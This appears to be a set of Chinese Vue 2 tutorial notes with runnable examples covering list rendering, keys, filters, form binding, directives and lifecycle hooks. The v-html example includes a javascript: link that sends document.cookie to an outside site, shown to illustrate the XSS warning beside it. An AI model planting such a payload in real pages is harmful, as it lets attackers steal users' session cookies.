十一、列表渲染
1、列表渲染
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>列表渲染</title> 6 <script src="js/vue.js"></script> 7 </head> 8 <body> 9 10 <div id="root"> 11 <!-- 数组 --> 12 <h2>人员列表</h2> 13 <ul> 14 <li v-for="person in persons" :key="person.id"> 15 {{person.name}}-{{person.age}} 16 </li><br><br> 17 18 <li v-for="(person,index) in persons" :key="index"> 19 {{person.name}}-{{person.age}} 20 </li> 21 </ul> 22 <br><br> 23 <!-- 对象 --> 24 <h2>汽车信息</h2> 25 <ul> 26 <li v-for="(value,key) in car" :key="key"> 27 {{key}}-{{value}} 28 </li> 29 </ul> 30 <br><br> 31 <!-- 字符串 --> 32 <h2>字符</h2> 33 <ul> 34 <li v-for="(char,index) in str" :key="index"> 35 {{index}}-{{char}} 36 </li> 37 </ul> 38 <br><br> 39 <!-- 指定次数 --> 40 <h2>指定次数</h2> 41 <ul> 42 <li v-for="(number,index) in 5" :key="index"> 43 {{index}}-{{number}} 44 </li> 45 </ul> 46 </div> 47 </body> 48 49 <script> 50 new Vue({ 51 el:'#root', 52 data:{ 53 persons:[ 54 {id:"001",name:"张三",age:18}, 55 {id:"002",name:"李四",age:19}, 56 {id:"003",name:"王五",age:20} 57 ], 58 car:{ 59 name:'奥迪', 60 price:'80万', 61 color:'black' 62 }, 63 str:'hello' 64 } 65 }) 66 </script> 67 68 </html>
2、Key的原理
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>Key的原理</title> 6 <script src="js/vue.js"></script> 7 </head> 8 <body> 9 <!-- 10 面试题：react、vue中的key有什么作用？（key的内部原理） 11 1. 虚拟DOM中key的作用： 12 key是虚拟DOM对象的标识，当数据发生变化时，Vue会根据【新数据】生成【新的虚拟DOM】, 13 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较，比较规则如下： 14 2.对比规则： 15 (1).旧虚拟DOM中找到了与新虚拟DOM相同的key： 16 ①.若虚拟DOM中内容没变, 直接使用之前的真实DOM！ 17 ②.若虚拟DOM中内容变了, 则生成新的真实DOM，随后替换掉页面中之前的真实DOM。 18 (2).旧虚拟DOM中未找到与新虚拟DOM相同的key 19 创建新的真实DOM，随后渲染到到页面。 20 3. 用index作为key可能会引发的问题： 21 1. 若对数据进行：逆序添加、逆序删除等破坏顺序操作: 22 会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。 23 2. 如果结构中还包含输入类的DOM： 24 会产生错误DOM更新 ==> 界面有问题。 25 4. 开发中如何选择key?: 26 1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。 27 2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示， 28 使用index作为key是没有问题的。 29 --> 30 <div id="root"> 31 <h2>人员列表</h2> 32 <ul> 33 <button @click="add">添加一个老六</button> 34 35 36 <li v-for="person in persons" :key="person.id"> 37 {{person.name}}-{{person.age}} 38 <input type="text"> 39 </li><br><br> 40 41 <!-- <li v-for="(person,index) in persons" :key="index">--> 42 <!-- {{person.name}}-{{person.age}}--> 43 <!-- <input type="text">--> 44 <!-- </li>--> 45 </ul> 46 47 </div> 48 </body> 49 <script> 50 new Vue({ 51 el:'#root', 52 data:{ 53 persons:[ 54 {id:"001",name:"张三",age:18}, 55 {id:"002",name:"李四",age:19}, 56 {id:"003",name:"王五",age:20} 57 ], 58 }, 59 methods:{ 60 add(){ 61 const n = {id:"004",name:"老六",age:40} 62 this.persons.unshift(n) 63 } 64 } 65 }) 66 </script> 67 68 </html>
3、列表过滤
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>列表过滤</title> 6 <script src="js/vue.js"></script> 7 </head> 8 <body> 9 <div id="root"> 10 <h2>人员列表</h2> 11 <ul> 12 <input type="text" placeholder="请输入名字" v-model="keyWord"> 13 <li v-for="person in filPersons" :key="person.id"> 14 {{person.name}}-{{person.age}}-{{person.sex}} 15 </li> 16 </ul> 17 18 </div> 19 </body> 20 <script> 21 // 用watch实现 22 // new Vue({ 23 // el:'#root', 24 // data:{ 25 // keyWord:'', 26 // persons:[ 27 // {id:"001",name:"马冬梅",age:18,sex:"女"}, 28 // {id:"002",name:"周冬雨",age:19,sex:"女"}, 29 // {id:"003",name:"周杰伦",age:20,sex:"男"}, 30 // {id:"004",name:"温兆伦",age:21,sex:"男"} 31 // ], 32 // filPersons:[] 33 // }, 34 // watch:{ 35 // keyWord: { 36 // immediate:true, 37 // handler(value){ 38 // this.filPersons = this.persons.filter((person)=>{ 39 // return person.name.indexOf(value) !== -1 40 // }) 41 // } 42 // } 43 // } 44 // }) 45 46 // 用computed实现（优先使用） 47 new Vue({ 48 el:'#root', 49 data:{ 50 keyWord:'', 51 persons:[ 52 {id:"001",name:"马冬梅",age:18,sex:"女"}, 53 {id:"002",name:"周冬雨",age:19,sex:"女"}, 54 {id:"003",name:"周杰伦",age:20,sex:"男"}, 55 {id:"004",name:"温兆伦",age:21,sex:"男"} 56 ], 57 }, 58 computed:{ 59 // keyWord只要变了，filPersons就会执行 60 filPersons(){ 61 return this.persons.filter((person)=>{ 62 return person.name.indexOf(this.keyWord) !== -1 63 }) 64 } 65 } 66 }) 67 68 </script> 69 </html>
4、列表排序
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>列表排序</title> 6 <script src="js/vue.js"></script> 7 </head> 8 <body> 9 <div id="root"> 10 <h2>人员列表</h2> 11 <ul> 12 <input type="text" placeholder="请输入名字" v-model="keyWord"> 13 <button @click="sortType = 2">年龄升序</button> 14 <button @click="sortType = 1">年龄降序</button> 15 <button @click="sortType = 0">原顺序</button> 16 <li v-for="person in filPersons" :key="person.id"> 17 {{person.name}}-{{person.age}}-{{person.sex}} 18 </li> 19 </ul> 20 21 </div> 22 </body> 23 24 <script> 25 // 用computed实现（优先使用） 26 new Vue({ 27 el: '#root', 28 data: { 29 keyWord: '', 30 sortType: 0, //0原顺序 1降序 2升序 31 persons: [ 32 {id: "001", name: "马冬梅", age: 30, sex: "女"}, 33 {id: "002", name: "周冬雨", age: 35, sex: "女"}, 34 {id: "003", name: "周杰伦", age: 29, sex: "男"}, 35 {id: "004", name: "温兆伦", age: 32, sex: "男"} 36 ], 37 }, 38 computed: { 39 // keyWord只要变了，filPersons就会执行 40 filPersons() { 41 const arr = this.persons.filter((person) => { 42 return person.name.indexOf(this.keyWord) !== -1 43 }) 44 if (this.sortType) { 45 arr.sort((p1, p2) => { 46 return this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age 47 }) 48 } 49 return arr 50 } 51 } 52 }) 53 54 </script> 55 56 </html>
5、Vue数据监测
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>Vue数据监测</title> 6 <script src="js/vue.js"></script> 7 </head> 8 <body> 9 <!-- 10 Vue监视数据的原理： 11 1. vue会监视data中所有层次的数据。 12 2. 如何监测对象中的数据？ 13 通过setter实现监视，且要在new Vue时就传入要监测的数据。 14 (1).对象中后追加的属性，Vue默认不做响应式处理 15 (2).如需给后添加的属性做响应式，请使用如下API： 16 Vue.set(target，propertyName/index，value) 或 vm.$set(target，propertyName/index，value) 17 3. 如何监测数组中的数据？ 18 通过包裹数组更新元素的方法实现，本质就是做了两件事： 19 (1).调用原生对应的方法对数组进行更新。 (2).重新解析模板，进而更新页面。 20 4.在Vue修改数组中的某个元素一定要用如下方法： 21 1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse() 22 2.Vue.set() 或 vm.$set() 23 特别注意：Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性！！！ 24 --> 25 <div id="root"> 26 <h1>学生信息</h1> 27 <button @click="student.age++">年龄+1岁</button> <br/> 28 <h3>年龄：{{student.age}}</h3> 29 30 <button @click="addSex">添加性别属性，默认值：男</button> <br/> 31 <h3 v-if="student.sex">性别：{{student.sex}}</h3> 32 <button @click="student.sex = '未知' ">修改性别</button> <br/> 33 34 <button @click="addFriend">在列表首位添加一个朋友</button> <br/><br/> 35 <button @click="updateFirstFriendName">修改第一个朋友的名字为：jack</button> 36 <h3>朋友们：</h3> 37 <ul> 38 <li v-for="(f,index) in student.friends" :key="index"> 39 {{f.name}}--{{f.age}} 40 </li> 41 </ul> 42 43 <button @click="addHobby">添加一个爱好</button> <br/> 44 <button @click="updateHobby">修改第一个爱好为：开车</button> <br/> 45 <button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/> 46 <h3>爱好：</h3> 47 <ul> 48 <li v-for="(h,index) in student.hobby" :key="index"> 49 {{h}} 50 </li> 51 </ul> 52 </div> 53 </body> 54 55 <script type="text/javascript"> 56 const vm = new Vue({ 57 el: '#root', 58 data: { 59 student:{ 60 name:'tom', 61 age:18, 62 hobby:['抽烟','喝酒','烫头'], 63 friends:[ 64 {name:'jerry',age:35}, 65 {name:'tony',age:36} 66 ] 67 } 68 }, 69 methods:{ 70 addSex(){ 71 Vue.set(this.student,"sex","男") 72 // this.$set(this.student,"sex","男") 73 }, 74 addFriend(){ 75 this.student.friends.unshift({name:'tom',age:40}) 76 }, 77 updateFirstFriendName(){ 78 this.student.friends[0].name = 'jack' 79 // Vue.set(this.student.friends[0],"name","jack") 80 }, 81 addHobby(){ 82 this.student.hobby.push("打游戏") 83 }, 84 updateHobby(){ 85 // this.student.hobby.splice(0,1,"开车") 86 // Vue.set(this.student.hobby,0,"开车") 87 this.$set(this.student.hobby,0,"开车") 88 }, 89 removeSmoke(){ 90 this.student.hobby = this.student.hobby.filter((h)=>{ 91 return h !== "抽烟" 92 }) 93 } 94 } 95 }) 96 </script> 97 98 </html>
十二、收集表单数据
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>收集表单数据</title> 6 <script src="js/vue.js"></script> 7 </head> 8 <body> 9 <!-- 10 收集表单数据： 11 若：<input type="text"/>，则v-model收集的是value值，用户输入的就是value值。 12 若：<input type="radio"/>，则v-model收集的是value值，且要给标签配置value值。 13 若：<input type="checkbox"/> 14 1.没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值） 15 2.配置input的value属性: 16 (1)v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值） 17 (2)v-model的初始值是数组，那么收集的的就是value组成的数组 18 备注：v-model的三个修饰符： 19 lazy：失去焦点再收集数据 20 number：输入字符串转为有效的数字 21 trim：输入首尾空格过滤 22 --> 23 <div id="root"> 24 <form @submit.prevent="demo"> 25 账号：<input type="text" v-model.trim="userInfo.account"> <br/><br/> 26 密码：<input type="password" v-model="userInfo.password"> <br/><br/> 27 年龄：<input type="number" v-model.number="userInfo.age"> <br/><br/> 28 性别： 29 男<input type="radio" name="sex" v-model="userInfo.sex" value="male"> 30 女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/> 31 爱好： 32 学习<input type="checkbox" v-model="userInfo.hobby" value="study"> 33 打游戏<input type="checkbox" v-model="userInfo.hobby" value="game"> 34 吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"> 35 <br/><br/> 36 所属校区 37 <select v-model="userInfo.city"> 38 <option value="">请选择校区</option> 39 <option value="beijing">北京</option> 40 <option value="shanghai">上海</option> 41 <option value="shenzhen">深圳</option> 42 <option value="wuhan">武汉</option> 43 </select> 44 <br/><br/> 45 其他信息： 46 <textarea v-model.lazy="userInfo.other"></textarea> <br/><br/> 47 <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a> 48 <button>提交</button> 49 </form> 50 </div> 51 </body> 52 53 <script type="text/javascript"> 54 new Vue({ 55 el: '#root', 56 data: { 57 userInfo:{ 58 account:'', 59 password:'', 60 age:'', 61 sex:'female', 62 hobby:[], 63 city:'beijing', 64 other:'', 65 agree:'' 66 } 67 }, 68 methods:{ 69 demo(){ 70 console.log(JSON.stringify(this.userInfo)) 71 } 72 } 73 }) 74 </script> 75 76 </html>
十三、过滤器
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>过滤器</title> 6 <script src="js/vue.js"></script> 7 </head> 8 <body> 9 <!-- 10 过滤器： 11 定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。 12 语法： 13 1.注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}} 14 2.使用过滤器：{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名" 15 备注： 16 1.过滤器也可以接收额外参数、多个过滤器也可以串联 17 2.并没有改变原本的数据, 是产生新的对应的数据 18 --> 19 <div id="root"> 20 <h2>显示格式化后的时间</h2> 21 <!-- 计算属性实现 --> 22 <h3>现在是：{{fmtTime}}</h3> 23 <!-- methods实现 --> 24 <h3>现在是：{{getFmtTime()}}</h3> 25 <!-- 过滤器实现 --> 26 <h3>现在是：{{time | timeFormater}}</h3> 27 <!-- 过滤器实现（传参） --> 28 <h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3> 29 <h3 :x="msg | mySlice">京东</h3> 30 </div> 31 32 <div id="root2"> 33 <h2>{{msg | mySlice}}</h2> 34 </div> 35 </body> 36 37 <script type="text/javascript"> 38 Vue.filter('mySlice',function(value){ 39 return value.slice(0,4) 40 }) 41 42 new Vue({ 43 el:'#root', 44 data:{ 45 time:1621561377603, //时间戳 46 msg:'你好，京东' 47 }, 48 computed: { 49 fmtTime(){ 50 return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss') 51 } 52 }, 53 methods: { 54 getFmtTime(){ 55 return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss') 56 } 57 }, 58 //局部过滤器 59 filters:{ 60 timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){ 61 // console.log('@',value) 62 return dayjs(value).format(str) 63 } 64 } 65 }) 66 67 new Vue({ 68 el:'#root2', 69 data:{ 70 msg:'hello,jingdong!' 71 } 72 }) 73 </script> 74 75 </html>
十四、内置指令
1、v-text指令
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>v-text指令</title> 6 <script src="js/vue.js"></script> 7 </head> 8 <body> 9 <!-- 10 我们学过的指令： 11 v-bind : 单向绑定解析表达式, 可简写为 :xxx 12 v-model : 双向数据绑定 13 v-for : 遍历数组/对象/字符串 14 v-on : 绑定事件监听, 可简写为@ 15 v-if : 条件渲染（动态控制节点是否存存在） 16 v-else : 条件渲染（动态控制节点是否存存在） 17 v-show : 条件渲染 (动态控制节点是否展示) 18 v-text指令： 19 1.作用：向其所在的节点中渲染文本内容。 20 2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。 21 --> 22 <div id="root"> 23 <h2>你好，{{name}}</h2> 24 <h2 v-text="name"></h2> 25 </div> 26 </body> 27 28 <script type="text/javascript"> 29 new Vue({ 30 el:'#root', 31 data:{ 32 name:"哈哈哈" 33 } 34 }) 35 </script> 36 </html>
2、v-html指令
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>v-html指令</title> 6 <script src="js/vue.js"></script> 7 </head> 8 <body> 9 <!-- 10 v-html指令： 11 1.作用：向指定节点中渲染包含html结构的内容。 12 2.与插值语法的区别： 13 (1).v-html会替换掉节点中所有的内容，{{xx}}则不会。 14 (2).v-html可以识别html结构。 15 3.严重注意：v-html有安全性问题！！！！ 16 (1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。 17 (2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！ 18 --> 19 <div id="root"> 20 <h2>你好，{{name}}</h2> 21 <h2 v-html="str"></h2> 22 <h2 v-html="str2"></h2> 23 </div> 24 </body> 25 26 <script type="text/javascript"> 27 new Vue({ 28 el:'#root', 29 data:{ 30 name:"张三", 31 str:"<h3>你好啊</h3>", 32 str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>', 33 } 34 }) 35 </script> 36 37 </html>
3、v-cloak指令
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>v-cloak指令</title> 6 <style> 7 [v-cloak]{ 8 display:none; 9 } 10 </style> 11 </head> 12 <body> 13 <!-- 14 v-cloak指令（没有值）： 15 1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。 16 2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。 17 --> 18 <div id="root"> 19 <h2 v-cloak>你好，{{name}}</h2> 20 </div> 21 <script src="js/vue.js"></script> //5秒后加载 22 23 </body> 24 25 <script type="text/javascript"> 26 new Vue({ 27 el:'#root', 28 data: { 29 name: "张三", 30 31 } 32 }) 33 </script> 34 </html>
4、v-once指令
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>v-once指令</title> 6 <script src="js/vue.js"></script> 7 </head> 8 <body> 9 <!-- 10 v-once指令： 11 1.v-once所在节点在初次动态渲染后，就视为静态内容了。 12 2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。 13 --> 14 <div id="root"> 15 <h2 v-once>初始的n值是{{n}}</h2> 16 <h2>当前的n值是{{n}}</h2> 17 <button @click="n++">点我n+1</button> 18 </div> 19 </body> 20 <script type="text/javascript"> 21 new Vue({ 22 el:'#root', 23 data: { 24 n:1, 25 } 26 }) 27 </script> 28 </html>
5、v-pre指令
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>v-pre指令</title> 6 <script src="js/vue.js"></script> 7 </head> 8 <body> 9 <!-- 10 v-pre指令： 11 1.跳过其所在节点的编译过程。 12 2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。 13 --> 14 <div id="root"> 15 <h2 v-pre>Vue很简单</h2> 16 <h2>当前的n值是{{n}}</h2> 17 <button @click="n++">点我n+1</button> 18 </div> 19 </body> 20 <script type="text/javascript"> 21 new Vue({ 22 el:'#root', 23 data: { 24 n:1, 25 } 26 }) 27 </script> 28 </html>
十五、自定义指令
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>自定义指令</title> 6 <script src="js/vue.js"></script> 7 </head> 8 <body> 9 <!-- 10 需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。 11 需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。 12 自定义指令总结： 13 一、定义语法： 14 (1).局部指令： 15 new Vue({ new Vue({ 16 directives:{指令名:配置对象} 或 directives{指令名:回调函数} 17 }) }) 18 (2).全局指令： 19 Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数) 20 二、配置对象中常用的3个回调： 21 (1).bind：指令与元素成功绑定时调用。 22 (2).inserted：指令所在元素被插入页面时调用。 23 (3).update：指令所在模板结构被重新解析时调用。 24 三、备注： 25 1.指令定义时不加v-，但使用时要加v-； 26 2.指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。 27 --> 28 <div id="root"> 29 <h2>当前的n值是: <span v-text="n"></span> </h2> 30 <h2>放大10倍后的n值是:<span v-big="n"></span> </h2> 31 <!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2>--> 32 <button @click="n++">点击n+1</button> 33 <hr> 34 <input type="text" v-fbind:value="n"> 35 </div> 36 37 </body> 38 <script type="text/javascript"> 39 // 定义全局指令 40 // Vue.directive('fbind',{ 41 // // 指令与元素成功绑定时（一上来） 42 // bind(element,binding){ 43 // element.value = binding.value 44 // }, 45 // //指令所在元素被插入页面时 46 // inserted(element,binding){ 47 // element.focus() 48 // }, 49 // //指令所在的模板被重新解析时 50 // update(element,binding){ 51 // element.value = binding.value 52 // } 53 // }) 54 55 // Vue.directive('big',function (element,binding) { 56 // element.innerText = binding.value * 10 57 // }) 58 59 new Vue({ 60 el:'#root', 61 data: { 62 n:1, 63 }, 64 directives:{ 65 //big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。 66 big(element,binding){ 67 // console.log('big',this) //注意此处的this是window 68 element.innerText = binding.value * 10 69 }, 70 // 'big-number'(element,binding){ 71 // element.innerText = binding.value * 10 72 // }, 73 fbind:{ 74 // 指令与元素成功绑定时（一上来） 75 bind(element,binding){ 76 element.value = binding.value 77 }, 78 //指令所在元素被插入页面时 79 inserted(element,binding){ 80 element.focus() 81 }, 82 //指令所在的模板被重新解析时 83 update(element,binding){ 84 element.value = binding.value 85 } 86 } 87 } 88 }) 89 90 </script> 91 </html>
十六、生命周期
1、
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>生命周期</title> 6 <script src="js/vue.js"></script> 7 </head> 8 <body> 9 <div id="root"> 10 <h2>当前的n值是{{n}}</h2> 11 <button @click="add">点我n+1</button> 12 <button @click="bye">点我销毁vm</button> 13 </div> 14 </body> 15 <script type="text/javascript"> 16 new Vue({ 17 el:'#root', 18 // template:` 19 // <div> 20 // <h2>当前的n值是：{{n}}</h2> 21 // <button @click="add">点我n+1</button> 22 // </div> 23 // `, 24 data: { 25 n:1, 26 }, 27 methods:{ 28 add(){ 29 console.log('add') 30 this.n++ 31 }, 32 bye(){ 33 console.log('bye') 34 this.$destroy() 35 } 36 }, 37 watch:{ 38 n(){ 39 console.log('n变了') 40 } 41 }, 42 //beforeCreate:此时无法通过vm访问到data中的数据、methods中的方法。(数据监测与数据代理) 43 beforeCreate() { 44 console.log('beforeCreate') 45 }, 46 //created:此时可以通过vm访问到data中的数据、methods中配置的方法。(数据监测与数据代理) 47 created() { 48 console.log('created') 49 }, 50 //beforeMount:此时1. 页面呈现的是未经Vue编译的DOM结构2. 所有对DOM的操作，最终都不奏效。 51 beforeMount() { 52 console.log('beforeMount') 53 }, 54 //mounted:此时， 55 //1.页面中呈现的是经过Vue编译的DOM。 56 //2.对DOM的操作均有效(尽可能避免)。至此初始化过程结束，一般在此进行: 57 // 开启定时器、发送网络请求、订阅消息、绑定自定义事件、等初始化操作。 58 mounted() { 59 console.log('mounted') 60 }, 61 //beforeUpdate:此时数据是新的，但页面是旧的，即页面尚未和数据保持同步。 62 beforeUpdate() { 63 console.log('beforeUpdate') 64 }, 65 //updated:此时数据是新的，页面也是新的，即页面和数据保持同步。 66 updated() { 67 console.log('updated') 68 }, 69 //beforeDestroy：此时vm中所有的data、 methods、指令等等都处于可用状态，马上要执行销毁过程， 70 //一般在此阶段有关闭定时器、取消订阅消息、解绑自定义事件等收尾操作。 71 beforeDestroy() { 72 console.log('beforeDestroy') 73 }, 74 destroyed() { 75 console.log('destroyed') 76 } 77 }) 78 </script> 79 </html>
2、
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>生命周期2</title> <script src="js/vue.js"></script> </head> <body> <!-- 常用的生命周期钩子： 1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。 2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。 关于销毁Vue实例 1.销毁后借助Vue开发者工具看不到任何信息。 2.销毁后自定义事件会失效，但原生DOM事件依然有效。 3.一般不会在beforeDestroy操作数据，因为即便操作数据，也不会再触发更新流程了。 --> <div id="root"> <h2 :style="{opacity}">欢迎学习Vue</h2> <button @click="opacity = 1">透明度设置为1</button> <button @click="stop">点我停止变换</button> </div> </body> <script type="text/javascript"> new Vue({ el:'#root', data: { opacity:1, }, methods:{ stop(){ this.$destroy() } }, mounted(){ // console.log('mounted',this) this.timer = setInterval(() => { // console.log('setInterval') //定时器没有关 this.opacity -= 0.01 if(this.opacity <= 0) this.opacity = 1 },16) }, beforeDestroy() { clearInterval(this.timer) } }) </script> </html>
